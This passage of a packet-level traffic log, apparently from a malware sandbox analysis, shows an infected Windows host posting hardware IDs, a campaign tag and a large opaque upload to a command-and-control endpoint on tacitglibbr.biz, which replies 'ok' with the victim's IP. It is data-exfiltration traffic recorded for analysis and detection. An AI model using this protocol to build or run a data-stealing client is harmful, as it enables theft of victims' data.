0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 57 Data Ascii: --OWWKPZ9G1LI68DP8Content-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--OWWKPZ9G1LI68DP8Content-Disposition: form-data; name="pid"2--OWWKPZ9G1LI68DP8Content-Disposition: form-data; name="lid"PsFKDg--pablo--OW
2024-12-16 14:04:54 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5cuc6huvjjjg2e9veacf1o7h6t; expires=Fri, 11-Apr-2025 07:51:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2FhZtabJ2VRHsnzhq3GGqBBFAvRJFnIk5lWsgdyY%2B79xOeSF9ntVvjRHO%2FUNDiqxtZuWXQm9NaxAe6CB4OQaJqzcMClr0Ai8cnvGy4ip%2F3%2FXE1kfODeV6P0nbY%2FfoJiPZno%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39a5db8f8c1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2470&min_rtt=2007&rtt_var=1680&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16030&delivery_rate=510846&cwnd=212&unsent_bytes=0&cid=ffd1092ffd05e37c&ts=1081&x=0"
2024-12-16 14:04:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	50232	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:55 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:04:55 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CCE19D1764DF4D48AC8923850305D13E
2024-12-16 14:04:58 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h8lm6d28pd9nkg133tdnvcvhj7; expires=Fri, 11-Apr-2025 07:51:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XSvTw%2BXlHXg0jS1saxx5xCei6zxKQzBnYmBwgrlv3w1F6f3FgVjy%2Fum3%2FtCIx6MFz8zAiAgMSVymF%2FlnXv9fWO%2Fh42lg1p16QqMGFKsXWF2b4gNZcuvAro5rzlXL2uvD5kE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39b0eda941b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1613&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1766485&cwnd=199&unsent_bytes=0&cid=316fea7fc9dbd36b&ts=2822&x=0"
2024-12-16 14:04:58 UTC	214	IN	Data Raw: 64 30 0d 0a 43 34 67 69 7a 30 4f 44 31 33 6b 73 4f 46 69 69 45 59 59 48 62 72 42 34 65 7a 4e 42 53 56 4f 65 42 50 38 71 6e 6a 34 57 67 39 5a 51 38 77 43 36 59 62 6e 31 45 56 68 4d 4b 4a 68 4e 71 56 74 42 67 55 42 4f 48 58 4e 34 5a 72 41 31 7a 68 6d 77 44 79 44 66 2b 57 54 75 52 4a 4e 73 35 37 49 66 41 6c 30 67 78 7a 4f 71 4a 51 6a 45 57 6b 45 44 62 57 73 32 76 44 37 50 56 37 4a 46 4e 50 62 30 4d 61 70 4b 75 7a 66 7a 37 53 55 44 5a 48 65 54 4b 62 4d 70 58 49 46 4e 56 51 4a 77 65 6e 32 76 4d 71 4d 46 37 55 70 7a 34 72 74 58 70 31 43 75 4c 65 65 34 46 41 4a 64 49 4d 63 7a 71 69 55 49 78 46 70 42 41 32 31 72 4e 72 77 2b 7a 31 66 44 0d 0a Data Ascii: d0C4giz0OD13ksOFiiEYYHbrB4ezNBSVOeBP8qnj4Wg9ZQ8wC6Ybn1EVhMKJhNqVtBgUBOHXN4ZrA1zhmwDyDf+WTuRJNs57IfAl0gxzOqJQjEWkEDbWs2vD7PV7JFNPb0MapKuzfz7SUDZHeTKbMpXIFNVQJwen2vMqMF7Upz4rtXp1CuLee4FAJdIMczqiUIxFpBA21rNrw+z1fD
2024-12-16 14:04:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	50233	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:56 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GBAVJEBV3XP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19921 Host: tacitglibbr.biz
2024-12-16 14:04:56 UTC	15331	OUT	Data Raw: 2d 2d 47 42 41 56 4a 45 42 56 33 58 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 42 41 56 4a 45 42 56 33 58 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 42 41 56 4a 45 42 56 33 58 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 47 42 41 56 4a 45 42 56 33 58 50 0d 0a 43 6f 6e 74 Data Ascii: --GBAVJEBV3XPContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--GBAVJEBV3XPContent-Disposition: form-data; name="pid"3--GBAVJEBV3XPContent-Disposition: form-data; name="lid"PsFKDg--pablo--GBAVJEBV3XPCont
2024-12-16 14:04:56 UTC	4590	OUT	Data Raw: 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?2+?2+?o?Mp5p_oI
2024-12-16 14:04:58 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2r04fiemcoo14illjg15qu356a; expires=Fri, 11-Apr-2025 07:51:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pr%2FxLX0jIb62PVz1Plpj4uZyt2xXgSHRTaGvRub9KmLQ7EtDA5iUL9N%2FtJZJOyGhcUAX0olKdwGBvKt53fipG1KUZrPiVaZvN8yv9vB1cNaGmNsGhnK7CyEZAcL1%2BtzFCLM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39b4ba9c3314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1823&rtt_var=696&sent=18&recv=24&lost=0&retrans=0&sent_bytes=2838&recv_bytes=20875&delivery_rate=1601755&cwnd=207&unsent_bytes=0&cid=fced7b3dd746e2ac&ts=2682&x=0"
2024-12-16 14:04:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	50236	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:00 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8POP2XZC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1234 Host: tacitglibbr.biz
2024-12-16 14:05:00 UTC	1234	OUT	Data Raw: 2d 2d 38 50 4f 50 32 58 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 50 4f 50 32 58 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 50 4f 50 32 58 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 50 4f 50 32 58 5a 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --8POP2XZCContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--8POP2XZCContent-Disposition: form-data; name="pid"1--8POP2XZCContent-Disposition: form-data; name="lid"PsFKDg--pablo--8POP2XZCContent-Disposit
2024-12-16 14:05:02 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e97kjlgioopd4gmsjujsd9modv; expires=Fri, 11-Apr-2025 07:51:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y0%2BvXbIwZmHhZy%2BlN%2F6dNHpW%2B5lMz0wSRiufAxNwf6IlMRROvhPhlxEUjfX6RB9OvXr9LjXwM%2Fvz6O%2FGaUdeUBJaii5FYbeAGGtAi5xFY80vus7SEI%2Bf4Hfji3I9STdgI78%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39cd6963727a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1813&rtt_var=703&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2140&delivery_rate=1531200&cwnd=217&unsent_bytes=0&cid=eb18cb8ffcf7f77c&ts=2411&x=0"
2024-12-16 14:05:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:05:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	50239	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:04 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KMJED5MWP5CT85Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566808 Host: tacitglibbr.biz
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 2d 2d 4b 4d 4a 45 44 35 4d 57 50 35 43 54 38 35 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 4d 4a 45 44 35 4d 57 50 35 43 54 38 35 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 4d 4a 45 44 35 4d 57 50 35 43 54 38 35 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 4d 4a 45 44 Data Ascii: --KMJED5MWP5CT85ZContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--KMJED5MWP5CT85ZContent-Disposition: form-data; name="pid"1--KMJED5MWP5CT85ZContent-Disposition: form-data; name="lid"PsFKDg--pablo--KMJED
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 2a 53 b1 6f c4 22 39 4f f3 dc 48 b4 fe 81 2c 6a 6d a1 ff 7e 3c 3d a8 50 8b 94 08 9a 14 7e 53 d8 b9 7f 6e 97 a1 81 d9 b1 ae f0 9e c4 30 ff 73 3d dd 49 06 cb 75 9b 43 47 80 04 3b d3 de f8 6b 18 77 bd 27 06 b0 b6 03 8f 55 8b 26 0d 7d f1 0a bb 1d 26 c2 ca ae 95 7a 57 9e 7f f9 dd 9d 0b a9 05 f0 99 8c 66 33 e0 4e 73 a6 52 6a 69 4b c7 1b 4d 62 28 67 10 34 5f 1b ff df 37 23 04 fc df 01 ce 11 ac 33 a1 01 11 78 2a ff 9f 5b 52 16 e5 40 0a 58 c1 72 84 24 9a e1 88 90 d9 7b 06 cb b2 d9 ea 8c 97 41 2d f0 98 ed fa 6b bb 81 5a 24 6c 29 b2 c8 9b 30 d2 02 3e 03 15 ce 1d 6f 30 be 57 3f 08 d2 a9 51 fa 38 f7 89 7a 5d be 02 ef fa 34 ed e2 cb 83 98 e1 08 59 64 e7 03 02 83 65 c8 fb 78 82 97 fe 49 c9 b1 45 2c 8f ee 8e 7c 2d 67 3d 59 25 05 e6 3a 08 b5 fd 29 a4 94 07 b4 ed dc d2 9d Data Ascii: So"9OH,jm~<=P~Sn0s=IuCG;kw'U&}&zWf3NsRjiKMb(g4_7#3x[R@Xr${A-kZ$l)0>o0W?Q8z]4YdexIE,\|-g=Y%:)
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: b2 5b cf ce 12 9d a6 86 24 93 b7 af d8 90 8e 83 62 f9 27 fc d2 51 e1 97 29 2b a5 64 e6 4c c8 54 f5 fc 12 a5 7b 84 b2 b3 cd ac e3 30 fd ea c3 18 a6 ec 1f 3f 0e 29 f2 75 de 96 01 88 ad 91 a3 2e 7f 57 4f 7c ce 1f 0e 9e ce 98 fe eb 58 01 cb da 25 11 73 41 6e 17 31 d0 42 00 dc a6 68 84 cb 23 00 2e a4 2e 68 c7 cf bb 2f ff d8 45 78 1a fb d5 3e 9c 72 32 b5 8a be ae b8 d8 4f d9 ea 1a c1 1c 90 ff 59 6e b4 9c 17 42 99 34 84 23 89 c9 d2 dd 95 98 a9 da 89 d7 84 fa e6 77 b6 b5 fd 5f 1c 3e be 92 05 67 07 6a ce 40 b4 fc 42 3e c0 d5 c3 6c 7d 17 e6 3c 00 8c 8f ff fb e1 63 87 c0 4b 38 b6 d8 06 c5 f3 bf ca e0 67 92 40 b1 93 98 e5 ff dd 10 2e 72 96 df 32 47 84 88 a6 0a 40 4d 1f 9b 29 fc 20 04 05 8f da ac c6 ba 82 e6 a6 4a a4 36 2d b5 6e ac ce 82 8d de 4d 12 18 93 00 01 af 8e Data Ascii: [$b'Q)+dLT{0?)u.WO\|X%sAn1Bh#..h/Ex>r2OYnB4#w_>gj@B>l}<cK8g@.r2G@M) J6-nM
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 44 5e da 3c ef 37 9b 41 70 ed 49 f1 fb 12 89 05 d1 e3 9c b6 db af 04 b8 01 a7 6a 35 d3 3f 7d 0a 0b 71 7f fc a0 95 b7 79 77 27 ee df 44 20 11 29 e9 9b 77 6d db 4f 6d 51 67 72 f2 f5 c9 ea 14 82 bb 38 fb dc 9e 3d fb 9c 01 6b 92 76 73 9c fc 46 17 d9 a1 dc 10 2c 18 c0 3e c3 68 ae 76 ff 6b 12 81 18 aa de 03 4f 8d 9d af 6a 95 1b 9d 96 8d dc ab d5 d4 3b 7a b5 d3 b7 a5 d3 72 fe 11 9f 9c a6 ed 3d 7d 29 ae c5 7b 46 f0 f0 5a 9f d9 16 67 6c f1 8c 2a d0 69 8c 77 28 5b ce 29 24 5e f6 e5 b2 07 e4 39 64 43 d3 7f 89 74 81 e7 de 6d 40 38 a1 d6 b6 12 75 7e 67 c5 c3 28 51 7a ed 15 d6 b9 34 75 c6 85 ab 73 57 f2 cd 36 5d 3b 64 e3 87 1b af 1d 6c c6 6a d1 c5 cd 18 9c ba 68 81 d6 ec e7 d8 76 30 76 51 59 d0 ea 54 98 31 77 2e f4 91 2c a5 ee af 59 66 06 fb e9 db 61 27 59 80 f3 6d ca Data Ascii: D^<7ApIj5?}qyw'D )wmOmQgr8=kvsF,>hvkOj;zr=}){FZgl*iw([)$^9dCtm@8u~g(Qz4usW6];dljhv0vQYT1w.,Yfa'Ym
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 50 c0 88 3f 39 00 e9 2b 9c 8a eb 40 10 eb 8d 83 7e 5f 13 2f cc 0f 38 4f 5b 70 9e a4 1d bd 2f 39 b3 ec f9 fb 4b 3d 56 2a 96 91 b1 83 2e 85 d0 2f 87 d0 73 4e 74 6b 20 f3 4c 3c f7 b7 52 3a 19 15 85 a2 c4 f8 50 22 93 8d 37 25 72 df 38 27 79 1f d9 51 9f d6 e9 79 31 3d 88 e7 c4 cc d0 12 13 a0 9a 71 9c a4 ce 5c 57 70 3c 6e 5e 2c 90 ba ca 99 e2 6b 45 52 62 62 c0 3d 4d 51 ea 14 ee ff 2e 98 9d 68 e1 e9 c0 a1 92 fc ec 53 a1 bc f0 48 5f 81 0c ec de fa 88 ad 61 6d 70 58 1a e9 16 f9 a5 81 28 d9 ad 92 a6 e2 b3 86 de f3 e0 0c bf 57 a2 90 9d e4 3e cc 7f 1a c2 b2 08 7a b7 de ff 77 ea fe 7f 0f b0 d8 77 be 09 3d 79 0c 5b 0c d2 0d 40 aa d4 a2 a7 db 40 f8 41 f2 1f 32 7d e7 8a 2e b0 0a 2b e9 fa e6 c0 07 04 78 65 47 41 6a 6e b9 6c af e0 2a b7 2c 29 0c 61 e1 f2 f3 9b 75 33 2d 01 Data Ascii: P?9+@~_/8O[p/9K=V./sNtk L<R:P"7%r8'yQy1=q\Wp<n^,kERbb=MQ.hSH_ampX(W>zww=y[@@A2}.+xeGAjnl,)au3-
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 40 88 e3 ff 95 b3 94 83 59 e1 f8 eb 70 3c 5f 84 26 38 fa e1 e4 55 cf 9f eb f2 c3 cd 9c b8 67 be 49 e4 47 ec cd fa ae 71 be fe 02 41 5e 98 32 84 63 58 81 bd 31 72 b3 7d 3e ea de b8 a3 de 82 53 c1 77 f8 80 3e 26 3a 06 80 4f 71 d0 a3 a2 da 79 b1 68 ca db 3b 87 91 0d 17 49 6e 1b 96 5f e1 40 f6 7f 03 b8 e6 bd 2f 5c ae 55 1c d0 1a 41 d2 56 8e 22 4a 4a d9 f7 64 a3 2e 3a ac 77 5e e7 ab 54 10 20 e9 cf 59 cb 45 7d 07 1a a3 4d cf 9e 63 b7 43 a6 32 1b a4 12 db ef 1c 40 03 b9 fe fb 59 9d 6c 99 db 68 07 2c f9 1c 77 62 64 df 47 60 8b 25 d0 15 5e 76 b4 37 90 da c0 cb 16 f5 e3 63 d6 ce 51 55 56 33 b9 8c 59 f1 2b a2 ba be 9b ae ee da 64 f7 45 05 19 4a 20 ff 29 42 c7 e9 70 e3 85 f7 16 e9 e6 13 86 9e aa f1 71 e5 21 45 ec cc 9e fa bc a5 f5 2d e3 1f 4e a3 8a fb 09 68 a8 62 d2 Data Ascii: @Yp<_&8UgIGqA^2cX1r}>Sw>&:Oqyh;In_@/\UAV"JJd.:w^T YE}McC2@Ylh,wbdG`%^v7cQUV3Y+dEJ )Bpq!E-Nhb
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 57 35 9c 77 eb 8a 19 73 fb f4 e6 8d b8 43 b7 de 5e c3 4b a2 be ea 35 d5 bc f5 2f 7d db da d2 c9 14 b9 3b 1c b1 5b 4d e0 0a e7 b5 3e 55 7e 2a 37 67 f7 a7 e4 ae 5a 68 cd 1f 39 25 b3 2b 91 6a 46 3a ef e9 b1 47 84 a5 9e 86 75 bc 31 9a 26 1d d8 d4 0f d8 bb 7f 2f 17 14 b3 6b 0c ad 5e 41 1d 79 d1 db be 32 b3 d2 20 32 38 ec c5 ff e4 7f aa a5 1f 0e 34 61 80 03 ee c9 34 f3 c8 6d 20 4e a1 d9 30 3f 3c 12 a7 2b 01 4f 39 48 ea 2e 1c e7 c3 8b b3 6c 85 cc 0b cc f6 ba 6b eb 11 c4 75 cc 76 9c 2c a4 bd 3a 47 71 e5 01 8a d3 1a a2 a4 dc b3 b4 2e e3 d5 7f 6d 3d 93 b3 2a 40 82 2c c4 14 98 c6 dc 96 4b aa 7f 24 b8 6f ef 88 22 16 0a d8 14 da ae 1f b0 c0 79 7a b0 af 8f 5b 78 5a 51 31 f1 70 74 bf e5 8d b0 ea 2d 85 eb 92 91 0c ff 45 4d f6 dc a8 16 7f dd 61 5e e6 71 81 33 25 e3 12 64 Data Ascii: W5wsC^K5/};[M>U~7gZh9%+jF:Gu1&/k^Ay2 284a4m N0?<+O9H.lkuv,:Gq.m=@,K$o"yz[xZQ1pt-EMa^q3%d
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 64 04 08 a0 eb 4b 89 46 c6 57 b4 9e aa bc 51 c2 a9 f8 f1 80 ae 9c 3a d9 71 bc 5b ac 07 3c 1d ad 74 53 b1 14 5c 79 33 1c 3f 75 a3 86 19 81 00 36 5f ff 26 06 8d 5f 97 57 72 e8 00 07 22 bd a8 81 97 31 5f 95 c0 91 a2 a5 1b e9 b3 19 95 14 7e 28 93 bd 96 9c 12 9f e3 bd e1 38 e1 23 ec 8f 01 e3 ed 11 0b 7f 5b 28 d1 56 fe a2 8a 9a de 18 61 2e 85 09 fd c7 3c bc 90 e6 ed 37 ba 72 9b 71 59 93 46 e5 3c 03 fe 17 76 5a a7 f7 00 8d 84 f9 1b 41 05 ae ac 1d d4 aa 12 38 ba 5b 32 f3 1c 27 10 d6 ba 43 e4 a4 59 ad 2b 02 0d 3d b1 91 e3 c1 7b 39 f7 86 87 2a b5 40 0e c9 9a 88 65 1a 89 a6 f9 75 9e 97 8a 5d 21 2e ac da c9 68 14 de dd 78 6d fa 24 a1 d5 ad aa a5 fe d3 cc ea 31 e7 74 f2 2f 3b ff ed 33 0e 69 e5 26 9c 2b 5e 61 c1 9b cc 94 74 f3 2a 86 92 91 52 82 13 b1 73 ab fd ee 4c bb Data Ascii: dKFWQ:q[<tS\y3?u6_&_Wr"1_~(8#[(Va.<7rqYF<vZA8[2'CY+={9@eu]!.hxm$1t/;3i&+^atRsL
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: 24 46 c1 f2 7d 27 6d 53 43 74 20 b8 83 0a 0f 38 9e 16 76 70 89 d0 53 5f 5e 57 6b b5 b8 f4 9f 53 74 7b 07 73 ff c1 06 c3 03 59 f7 a8 ee 10 06 f5 8a 12 67 dc e2 f8 95 44 40 25 11 d0 b6 ae a2 f4 54 aa 0e 6f 37 65 36 2d 69 f8 bc 77 75 7f 10 2b f6 ff 2b 81 f2 69 fe 7f fc de a6 ff d9 31 81 9d bd 5a 40 f6 c2 ee 00 2c 82 ee 78 c1 99 df f6 09 92 f4 04 1d 76 f6 84 91 a8 fd 4c 6d 46 f7 e3 eb fd f5 c2 d2 b6 1f b5 eb e8 1a 07 84 49 94 a7 2a a2 e5 b7 1c 30 cb 37 8e 30 1c 21 9c e3 d2 f1 c8 b0 6f c2 39 60 f1 cb 1f 45 09 c8 93 82 ff f7 37 b4 99 66 72 85 33 64 cb 55 86 6d c1 9e f6 80 3c 63 20 26 96 9f 5e a3 1a c3 05 0a 1c 4a 6a f8 0e 02 20 51 a2 85 16 99 4d 81 a1 7a 57 26 86 3b 6c 32 fe 93 0e 8d db 6e 7f 1a 1e b9 53 ce c7 7d 3f 9a 6e 99 48 e0 27 e1 b0 c8 88 d2 69 9b 41 f8 Data Ascii: $F}'mSCt 8vpS_^WkSt{sYgD@%To7e6-iwu++i1Z@,xvLmFI*070!o9`E7fr3dUm<c &^Jj QMzW&;l2nS}?nH'iA
2024-12-16 14:05:04 UTC	15331	OUT	Data Raw: ff f3 b2 c9 71 5e 70 87 58 fc e2 52 75 fa 67 98 c1 94 a8 57 ad 71 48 51 18 77 65 a6 f9 fd bd 35 ec d7 cf 08 d6 03 c3 42 3e 15 7b 93 89 e9 61 54 e1 ee b1 8d 39 bd 4e ae 31 f9 94 d4 dd da e4 b1 78 f2 61 c5 da 49 21 d9 d7 93 01 4b ef cf c4 72 6e e5 76 2d ba 41 e0 a5 09 b8 16 0d 8f 20 a3 fc d8 eb 2b 2f c3 bc ef 4c d6 8b e4 79 3c c3 86 1e db 7b a3 fa 16 d0 fc c3 77 6a de 6e 99 5a 74 f6 17 5b 89 6d 0b 52 50 c1 00 a1 f3 91 11 12 1c f1 87 20 c0 67 f9 25 4b 23 dc a8 a2 a7 75 3d 37 bc 4f f8 e4 aa 7c bc 0f cf a5 f6 a2 61 7c da cd 40 34 ea d7 65 f1 81 30 5e 60 af fd 82 88 81 cb 0b b1 3d 19 e6 11 82 bd 23 3a c3 f2 db 68 8e bb 94 91 a1 c1 eb bc 19 23 4c 83 24 82 01 f6 fa 9c 0e 00 4d e0 0b d0 bf 79 97 ee cc 92 d0 ff 4e 15 64 e3 51 0a 08 be 83 